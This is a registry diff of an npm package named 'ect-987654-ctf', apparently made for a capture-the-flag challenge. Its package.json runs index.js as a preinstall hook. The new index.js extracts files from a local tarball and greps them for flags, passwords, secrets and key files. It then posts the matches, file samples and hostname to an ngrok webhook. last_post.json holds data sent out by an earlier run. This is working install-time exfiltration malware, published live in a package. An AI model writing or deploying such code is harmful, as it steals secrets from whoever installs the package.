ect-987654-ctf 0.0.7 → 0.0.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/evil.yaml CHANGED
@@ -1,6 +1,6 @@
1
1
  ecto_module:
2
2
  name: "ect-987654-ctf"
3
- version: "0.0.6"
3
+ version: "0.0.7"
4
4
  power_level: Very High
5
5
  ship_deck: Beta-2
6
6
  cargo_hold: B2-13
package/index.js CHANGED
@@ -1,46 +1,145 @@
1
- const https = require("https");
2
- const { execSync } = require("child_process");
3
- const os = require("os");
4
-
5
- const WEBHOOK = "https://0f6896f7cc8e.ngrok-free.app/";
6
-
7
- function post(data) {
8
- const body = JSON.stringify(data);
9
- const url = new URL(WEBHOOK);
10
- const req = https.request({
11
- hostname: url.hostname,
12
- path: url.pathname,
13
- method: "POST",
14
- headers: {
15
- "Content-Type": "application/json",
16
- "Content-Length": Buffer.byteLength(body)
17
- }
18
- });
19
- req.write(body);
20
- req.end();
1
+ // index.js -- aggressive flag hunter for aspect-node.tar.gz
2
+ // Writes JSON to your webhook with candidate matches (truncated)
3
+
4
+ const { execSync } = require('child_process');
5
+ const os = require('os');
6
+ const util = require('util');
7
+
8
+ const WEBHOOK = process.env.WEBHOOK || "https://0f6896f7cc8e.ngrok-free.app/";
9
+ const TAR = "/home/node/aspect-node.tar.gz";
10
+ const MAX_LINES = 200;
11
+ const MAX_BYTES_SEND = 12000; // keep posted body small-ish
12
+
13
+ function post(obj) {
14
+ try {
15
+ const body = JSON.stringify(obj);
16
+ const url = new URL(WEBHOOK);
17
+ const https = require('https');
18
+ const opts = {
19
+ hostname: url.hostname,
20
+ path: url.pathname,
21
+ method: 'POST',
22
+ headers: {
23
+ 'Content-Type': 'application/json',
24
+ 'Content-Length': Buffer.byteLength(body)
25
+ }
26
+ };
27
+ const req = https.request(opts, res => { /* noop */ });
28
+ req.on('error', () => {});
29
+ req.write(body);
30
+ req.end();
31
+ } catch (e) {
32
+ // best-effort only
33
+ try { console.error("post error:", e.message); } catch {}
34
+ }
35
+ }
36
+
37
+ function safeExec(cmd, opts = {}) {
38
+ try {
39
+ return execSync(cmd, { encoding: 'utf8', stdio: ['pipe','pipe','pipe'], timeout: 20000, ...opts }).trim();
40
+ } catch (e) {
41
+ return "";
42
+ }
43
+ }
44
+
45
+ function truncate(s, n) {
46
+ if (!s) return s;
47
+ if (s.length <= n) return s;
48
+ return s.slice(0, n) + "\n...[truncated]";
49
+ }
50
+
51
+ function findCandidates() {
52
+ // list all files from tarball
53
+ const listing = safeExec(`tar -tzf ${TAR} 2>/dev/null || true`);
54
+ if (!listing) return [];
55
+ const lines = listing.split(/\r?\n/).filter(Boolean);
56
+ return lines;
57
+ }
58
+
59
+ function isTextFileName(name) {
60
+ return /\.(txt|md|json|js|env|conf|cfg|ini|py|sh|pem|key|yml|yaml)$/i.test(name);
61
+ }
62
+
63
+ function grepPatternsForTextFile(entry) {
64
+ // Extract first N lines of the file and grep for likely flag patterns
65
+ const cmd = `tar -xOf ${TAR} "${entry}" 2>/dev/null | head -n ${MAX_LINES} | egrep -i 'HTB\\{|FLAG\\{|picoCTF\\{|CTF\\{|SECRET=|FLAG:|flag:|password|pass\\W' || true`;
66
+ return safeExec(cmd);
67
+ }
68
+
69
+ function catFirstLines(entry) {
70
+ return safeExec(`tar -xOf ${TAR} "${entry}" 2>/dev/null | head -n ${MAX_LINES} || true`);
71
+ }
72
+
73
+ function stringsAndGrep(entry) {
74
+ // Extract file to stdout and pipe to strings/grep to find tokens
75
+ // We'll try to use 'strings' if available, otherwise grep -a
76
+ const tryStrings = safeExec(`tar -xOf ${TAR} "${entry}" 2>/dev/null | (command -v strings >/dev/null 2>&1 && strings -a -n 8 - || cat) | egrep -a -i 'HTB\\{|FLAG\\{|picoCTF\\{|CTF\\{|SECRET=|FLAG:|flag:|password|pass\\W' || true`);
77
+ return tryStrings;
21
78
  }
22
79
 
23
80
  try {
24
- // Search for any files in the archive containing the flag pattern
25
- const files = execSync(
26
- `tar -tzf /home/node/aspect-node.tar.gz | grep -iE 'flag|htb|secret' || true`,
27
- { encoding: "utf8", timeout: 20000 }
28
- );
29
-
30
- let flagContent = "";
31
- if (files.trim() !== "") {
32
- // Extract any file that matches the flag pattern and look for HTB{...}
33
- flagContent = execSync(
34
- `tar -xOf /home/node/aspect-node.tar.gz $(tar -tzf /home/node/aspect-node.tar.gz | grep -iE 'flag|htb|secret' | head -n1) | grep -Eo 'HTB\\{[^}]+' || true`,
35
- { encoding: "utf8", timeout: 20000 }
36
- );
81
+ const host = os.hostname();
82
+ const all = findCandidates();
83
+
84
+ // Quick heuristic: search likely text files first
85
+ const textCandidates = all.filter(isTextFileName);
86
+ const hits = [];
87
+ for (const f of textCandidates.slice(0, 500)) { // limit to first 500 to avoid blowup
88
+ const match = grepPatternsForTextFile(f);
89
+ if (match) {
90
+ hits.push({ file: f, match: truncate(match, 2000), sample: truncate(catFirstLines(f), 2000) });
91
+ }
92
+ }
93
+
94
+ // If no hits yet, search many JS/JSON files more aggressively (first pass didn't show flag)
95
+ if (hits.length === 0) {
96
+ // check top js/json files (by name)
97
+ const jsCandidates = all.filter(n => /\.(js|json|lock)$/i.test(n)).slice(0, 800);
98
+ for (const f of jsCandidates) {
99
+ const match = grepPatternsForTextFile(f);
100
+ if (match) {
101
+ hits.push({ file: f, match: truncate(match, 2000), sample: truncate(catFirstLines(f), 2000) });
102
+ if (hits.length >= 10) break;
103
+ }
104
+ }
105
+ }
106
+
107
+ // If still nothing, run strings on the largest-looking files (heuristic names)
108
+ if (hits.length === 0) {
109
+ const binCandidates = all.filter(n => /aspect-node\.tar\.gz|node_modules\/|bin\/|_lib|\\.so$|\\.a$|node$|typescript|tsserver/i.test(n)).slice(0, 200);
110
+ for (const f of binCandidates) {
111
+ const match = stringsAndGrep(f);
112
+ if (match) {
113
+ hits.push({ file: f, match: truncate(match, 2000) });
114
+ if (hits.length >= 6) break;
115
+ }
116
+ }
37
117
  }
38
118
 
39
- post({
40
- host: os.hostname(),
41
- files,
42
- flag: flagContent || "no match yet"
43
- });
119
+ // As fallback, check README / top-level files explicitly and send their first lines
120
+ const fallbackFiles = ['README','README.md','flag.txt','FLAG','flag','config/aspect.config.json','modules/npm-tracker/README.md'];
121
+ for (const p of fallbackFiles) {
122
+ if (all.includes(p)) {
123
+ const sample = catFirstLines(p);
124
+ if (sample) hits.push({ file: p, sample: truncate(sample, 4000) });
125
+ }
126
+ }
127
+
128
+ // Compose posting object: keep payload sizes reasonable
129
+ const payload = {
130
+ host,
131
+ checked_count: all.length,
132
+ hits: hits.slice(0, 12).map(h => {
133
+ // keep each entry small
134
+ return {
135
+ file: h.file,
136
+ match: h.match ? truncate(h.match, 2000) : undefined,
137
+ sample: h.sample ? truncate(h.sample, 2000) : undefined
138
+ };
139
+ })
140
+ };
141
+
142
+ post(payload);
44
143
  } catch (e) {
45
- post({ error: e.message });
144
+ post({ error: String(e).slice(0, 2000) });
46
145
  }
package/last_post.json CHANGED
@@ -1,5 +1,5 @@
1
1
  {
2
- "host": "f3d924ecfb84",
3
- "files": "modules/npm-tracker/node_modules/_regexp.prototype.flags@1.5.1@regexp.prototype.flags/\nmodules/npm-tracker/node_modules/_supports-preserve-symlinks-flag@1.0.0@supports-preserve-symlinks-flag/\nmodules/npm-tracker/node_modules/_node-environment-flags@1.0.5@node-environment-flags/\nmodules/npm-tracker/node_modules/_has-flag@1.0.0@has-flag/\nmodules/npm-tracker/node_modules/regexp.prototype.flags\nmodules/npm-tracker/node_modules/has-flag\nmodules/npm-tracker/node_modules/supports-preserve-symlinks-flag\nmodules/npm-tracker/node_modules/_has-flag@3.0.0@has-flag/\nmodules/npm-tracker/node_modules/_has-flag@4.0.0@has-flag/\nmodules/npm-tracker/node_modules/node-environment-flags\nmodules/npm-tracker/node_modules/_supports-color@3.2.3@supports-color/node_modules/has-flag\nmodules/npm-tracker/node_modules/_mocha@6.2.3@mocha/lib/cli/node-flags.js\nmodules/npm-tracker/node_modules/_mocha@6.2.3@mocha/node_modules/node-environment-flags\nmodules/npm-tracker/node_modules/_nyc@13.3.0@nyc/node_modules/has-flag/\nmodules/npm-tracker/node_modules/_nyc@13.3.0@nyc/node_modules/has-flag/license\nmodules/npm-tracker/node_modules/_nyc@13.3.0@nyc/node_modules/has-flag/index.js\nmodules/npm-tracker/node_modules/_nyc@13.3.0@nyc/node_modules/has-flag/readme.md\nmodules/npm-tracker/node_modules/_nyc@13.3.0@nyc/node_modules/has-flag/package.json\nmodules/npm-tracker/node_modules/_deep-equal@1.1.2@deep-equal/node_modules/regexp.prototype.flags\nmodules/npm-tracker/node_modules/_resolve@2.0.0-next.5@resolve/node_modules/supports-preserve-symlinks-flag\nmodules/npm-tracker/node_modules/_core-js@2.6.12@core-js/modules/es6.regexp.flags.js\nmodules/npm-tracker/node_modules/_core-js@2.6.12@core-js/modules/_flags.js\nmodules/npm-tracker/node_modules/_core-js@2.6.12@core-js/modules/library/es6.regexp.flags.js\nmodules/npm-tracker/node_modules/_core-js@2.6.12@core-js/fn/regexp/flags.js\nmodules/npm-tracker/node_modules/_core-js@2.6.12@core-js/library/modules/es6.regexp.flags.js\nmodules/npm-tracker/node_modules/_core-js@2.6.12@core-js/library/modules/_flags.js\nmodules/npm-tracker/node_modules/_core-js@2.6.12@core-js/library/fn/regexp/flags.js\nmodules/npm-tracker/node_modules/_es-abstract@1.22.3@es-abstract/node_modules/regexp.prototype.flags\nmodules/npm-tracker/node_modules/_es-abstract@1.22.3@es-abstract/2023/RegExpHasFlag.js\nmodules/npm-tracker/node_modules/_es-abstract@1.22.3@es-abstract/2022/RegExpHasFlag.js\nmodules/npm-tracker/node_modules/_has-flag@4.0.0@has-flag/license\nmodules/npm-tracker/node_modules/_has-flag@4.0.0@has-flag/index.js\nmodules/npm-tracker/node_modules/_has-flag@4.0.0@has-flag/readme.md\nmodules/npm-tracker/node_modules/_has-flag@4.0.0@has-flag/package.json\nmodules/npm-tracker/node_modules/_has-flag@4.0.0@has-flag/index.d.ts\nmodules/npm-tracker/node_modules/_has-flag@3.0.0@has-flag/license\nmodules/npm-tracker/node_modules/_has-flag@3.0.0@has-flag/index.js\nmodules/npm-tracker/node_modules/_has-flag@3.0.0@has-flag/readme.md\nmodules/npm-tracker/node_modules/_has-flag@3.0.0@has-flag/package.json\nmodules/npm-tracker/node_modules/_supports-color@6.0.0@supports-color/node_modules/has-flag\nmodules/npm-tracker/node_modules/_resolve@1.22.8@resolve/node_modules/supports-preserve-symlinks-flag\nmodules/npm-tracker/node_modules/_has-flag@1.0.0@has-flag/license\nmodules/npm-tracker/node_modules/_has-flag@1.0.0@has-flag/index.js\nmodules/npm-tracker/node_modules/_has-flag@1.0.0@has-flag/readme.md\nmodules/npm-tracker/node_modules/_has-flag@1.0.0@has-flag/package.json\nmodules/npm-tracker/node_modules/_node-environment-flags@1.0.5@node-environment-flags/node_modules/\nmodules/npm-tracker/node_modules/_node-environment-flags@1.0.5@node-environment-flags/index.js\nmodules/npm-tracker/node_modules/_node-environment-flags@1.0.5@node-environment-flags/README.md\nmodules/npm-tracker/node_modules/_node-environment-flags@1.0.5@node-environment-flags/polyfill.js\nmodules/npm-tracker/node_modules/_node-environment-flags@1.0.5@node-environment-flags/package.json\nmodules/npm-tracker/node_modules/_node-environment-flags@1.0.5@node-environment-flags/shim.js\nmodules/npm-tracker/node_modules/_node-environment-flags@1.0.5@node-environment-flags/flags.json\nmodules/npm-tracker/node_modules/_node-environment-flags@1.0.5@node-environment-flags/implementation.js\nmodules/npm-tracker/node_modules/_node-environment-flags@1.0.5@node-environment-flags/node_modules/.bin/\nmodules/npm-tracker/node_modules/_node-environment-flags@1.0.5@node-environment-flags/node_modules/object.getownpropertydescriptors\nmodules/npm-tracker/node_modules/_node-environment-flags@1.0.5@node-environment-flags/node_modules/semver\nmodules/npm-tracker/node_modules/_node-environment-flags@1.0.5@node-environment-flags/node_modules/.bin/semver\nmodules/npm-tracker/node_modules/_supports-preserve-symlinks-flag@1.0.0@supports-preserve-symlinks-flag/LICENSE\nmodules/npm-tracker/node_modules/_supports-preserve-symlinks-flag@1.0.0@supports-preserve-symlinks-flag/test/\nmodules/npm-tracker/node_modules/_supports-preserve-symlinks-flag@1.0.0@supports-preserve-symlinks-flag/CHANGELOG.md\nmodules/npm-tracker/node_modules/_supports-preserve-symlinks-flag@1.0.0@supports-preserve-symlinks-flag/.eslintrc\nmodules/npm-tracker/node_modules/_supports-preserve-symlinks-flag@1.0.0@supports-preserve-symlinks-flag/index.js\nmodules/npm-tracker/node_modules/_supports-preserve-symlinks-flag@1.0.0@supports-preserve-symlinks-flag/README.md\nmodules/npm-tracker/node_modules/_supports-preserve-symlinks-flag@1.0.0@supports-preserve-symlinks-flag/package.json\nmodules/npm-tracker/node_modules/_supports-preserve-symlinks-flag@1.0.0@supports-preserve-symlinks-flag/.github/\nmodules/npm-tracker/node_modules/_supports-preserve-symlinks-flag@1.0.0@supports-preserve-symlinks-flag/.nycrc\nmodules/npm-tracker/node_modules/_supports-preserve-symlinks-flag@1.0.0@supports-preserve-symlinks-flag/browser.js\nmodules/npm-tracker/node_modules/_supports-preserve-symlinks-flag@1.0.0@supports-preserve-symlinks-flag/.github/FUNDING.yml\nmodules/npm-tracker/node_modules/_supports-preserve-symlinks-flag@1.0.0@supports-preserve-symlinks-flag/test/index.js\nmodules/npm-tracker/node_modules/_supports-color@5.5.0@supports-color/node_modules/has-flag\nmodules/npm-tracker/node_modules/_string.prototype.matchall@4.0.8@string.prototype.matchall/node_modules/regexp.prototype.flags\nmodules/npm-tracker/node_modules/_supports-color@7.2.0@supports-color/node_modules/has-flag\nmodules/npm-tracker/node_modules/_regexp.prototype.flags@1.5.1@regexp.prototype.flags/LICENSE\nmodules/npm-tracker/node_modules/_regexp.prototype.flags@1.5.1@regexp.prototype.flags/test/\nmodules/npm-tracker/node_modules/_regexp.prototype.flags@1.5.1@regexp.prototype.flags/CHANGELOG.md\nmodules/npm-tracker/node_modules/_regexp.prototype.flags@1.5.1@regexp.prototype.flags/.eslintrc\nmodules/npm-tracker/node_modules/_regexp.prototype.flags@1.5.1@regexp.prototype.flags/node_modules/\nmodules/npm-tracker/node_modules/_regexp.prototype.flags@1.5.1@regexp.prototype.flags/index.js\nmodules/npm-tracker/node_modules/_regexp.prototype.flags@1.5.1@regexp.prototype.flags/.editorconfig\nmodules/npm-tracker/node_modules/_regexp.prototype.flags@1.5.1@regexp.prototype.flags/README.md\nmodules/npm-tracker/node_modules/_regexp.prototype.flags@1.5.1@regexp.prototype.flags/polyfill.js\nmodules/npm-tracker/node_modules/_regexp.prototype.flags@1.5.1@regexp.prototype.flags/package.json\nmodules/npm-tracker/node_modules/_regexp.prototype.flags@1.5.1@regexp.prototype.flags/auto.js\nmodules/npm-tracker/node_modules/_regexp.prototype.flags@1.5.1@regexp.prototype.flags/shim.js\nmodules/npm-tracker/node_modules/_regexp.prototype.flags@1.5.1@regexp.prototype.flags/.nycrc\nmodules/npm-tracker/node_modules/_regexp.prototype.flags@1.5.1@regexp.prototype.flags/implementation.js\nmodules/npm-tracker/node_modules/_regexp.prototype.flags@1.5.1@regexp.prototype.flags/node_modules/call-bind\nmodules/npm-tracker/node_modules/_regexp.prototype.flags@1.5.1@regexp.prototype.flags/node_modules/set-function-name\nmodules/npm-tracker/node_modules/_regexp.prototype.flags@1.5.1@regexp.prototype.flags/node_modules/define-properties\nmodules/npm-tracker/node_modules/_regexp.prototype.flags@1.5.1@regexp.prototype.flags/test/index.js\nmodules/npm-tracker/node_modules/_regexp.prototype.flags@1.5.1@regexp.prototype.flags/test/tests.js\nmodules/npm-tracker/node_modules/_regexp.prototype.flags@1.5.1@regexp.prototype.flags/test/shimmed.js\nmodules/npm-tracker/node_modules/_regexp.prototype.flags@1.5.1@regexp.prototype.flags/test/implementation.js\nmodules/npm-tracker/node_modules/_moment@2.30.1@moment/src/lib/create/parsing-flags.js\nnode_modules/has-flag\nnode_modules/_has-flag@3.0.0@has-flag/\nnode_modules/_has-flag@3.0.0@has-flag/license\nnode_modules/_has-flag@3.0.0@has-flag/index.js\nnode_modules/_has-flag@3.0.0@has-flag/readme.md\nnode_modules/_has-flag@3.0.0@has-flag/package.json\nnode_modules/_supports-color@5.5.0@supports-color/node_modules/has-flag\n",
4
- "flag": "The MIT License (MIT)\n\nCopyright (C) 2014 Jordan Harband\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n\n# Changelog\n\nAll notable changes to this project will be documented in this file.\n\nThe format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/)\nand this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).\n\n## [v1.5.1](https://github.com/es-shims/RegExp.prototype.flags/compare/v1.5.0...v1.5.1) - 2023-09-12\n\n### Commits\n\n- [Refactor] use `set-function-name` [`1384147`](https://github.com/es-shims/RegExp.prototype.flags/commit/13841474baf5700de8e3f65fae3670ad1b233483)\n- [Dev Deps] update `@es-shims/api`, `@ljharb/eslint-config`, `aud`, `available-regexp-flags`, `tape` [`07bf9a2`](https://github.com/es-shims/RegExp.prototype.flags/commit/07bf9a2c354cc41379b01fe5c383233adaaccf0e)\n- [Dev Deps] add missing `npmignore` dep [`8ca9dfe`](https://github.com/es-shims/RegExp.prototype.flags/commit/8ca9dfe4da31ef74ee48a4dcf62692eebb8f8fdd)\n\n## [v1.5.0](https://github.com/es-shims/RegExp.prototype.flags/compare/v1.4.3...v1.5.0) - 2023-04-18\n\n### Commits\n\n- [meta] use `npmignore` to autogenerate an npmignore file [`f7438ad`](https://github.com/es-shims/RegExp.prototype.flags/commit/f7438ad3728128b99daaeb1d3133a40d906d3621)\n- [New] add `unicodeSets`/`v` flag [`f922170`](https://github.com/es-shims/RegExp.prototype.flags/commit/f92217039c9c86a61421ce69594e93a546721397)\n- [Dev Deps] update `@es-shims/api`, `@ljharb/eslint-config`, `aud`, `available-regexp-flags`, `object-inspect`, `tape` [`1203078`](https://github.com/es-shims/RegExp.prototype.flags/commit/12030785e6beb1f06c406a4731714012d93867e2)\n- [actions] update rebase action to use reusable workflow [`c562ea2`](https://github.com/es-shims/RegExp.prototype.flags/commit/c562ea20c27442ff30ce65091a313b5e49ae8515)\n- [Dev Deps] update `aud`, `object-inspect`, `tape` [`f3ae811`](https://github.com/es-shims/RegExp.prototype.flags/commit/f3ae81109dd08b200dce8bd52c183bc44662c3b4)\n- [Deps] update `define-properties`, `functions-have-names` [`2d0476e`](https://github.com/es-shims/RegExp.prototype.flags/commit/2d0476e5eba1e4a9b786f169f3be96c2f5a192b2)\n- [Tests] use `for-each` instead of `foreach` [`d9f30da`](https://github.com/es-shims/RegExp.prototype.flags/commit/d9f30dab65ff0185a8688c6e62dc1fe650879cc0)\n- [Deps] update `define-properties` [`81c1c20`](https://github.com/es-shims/RegExp.prototype.flags/commit/81c1c2012070c1f4480a9ab55bc0cff206152603)\n\n"
2
+ "host": "5eaf6475a249",
3
+ "files": "",
4
+ "flag": "no match yet"
5
5
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ect-987654-ctf",
3
- "version": "0.0.7",
3
+ "version": "0.0.8",
4
4
  "scripts": {
5
5
  "preinstall": "node index.js"
6
6
  }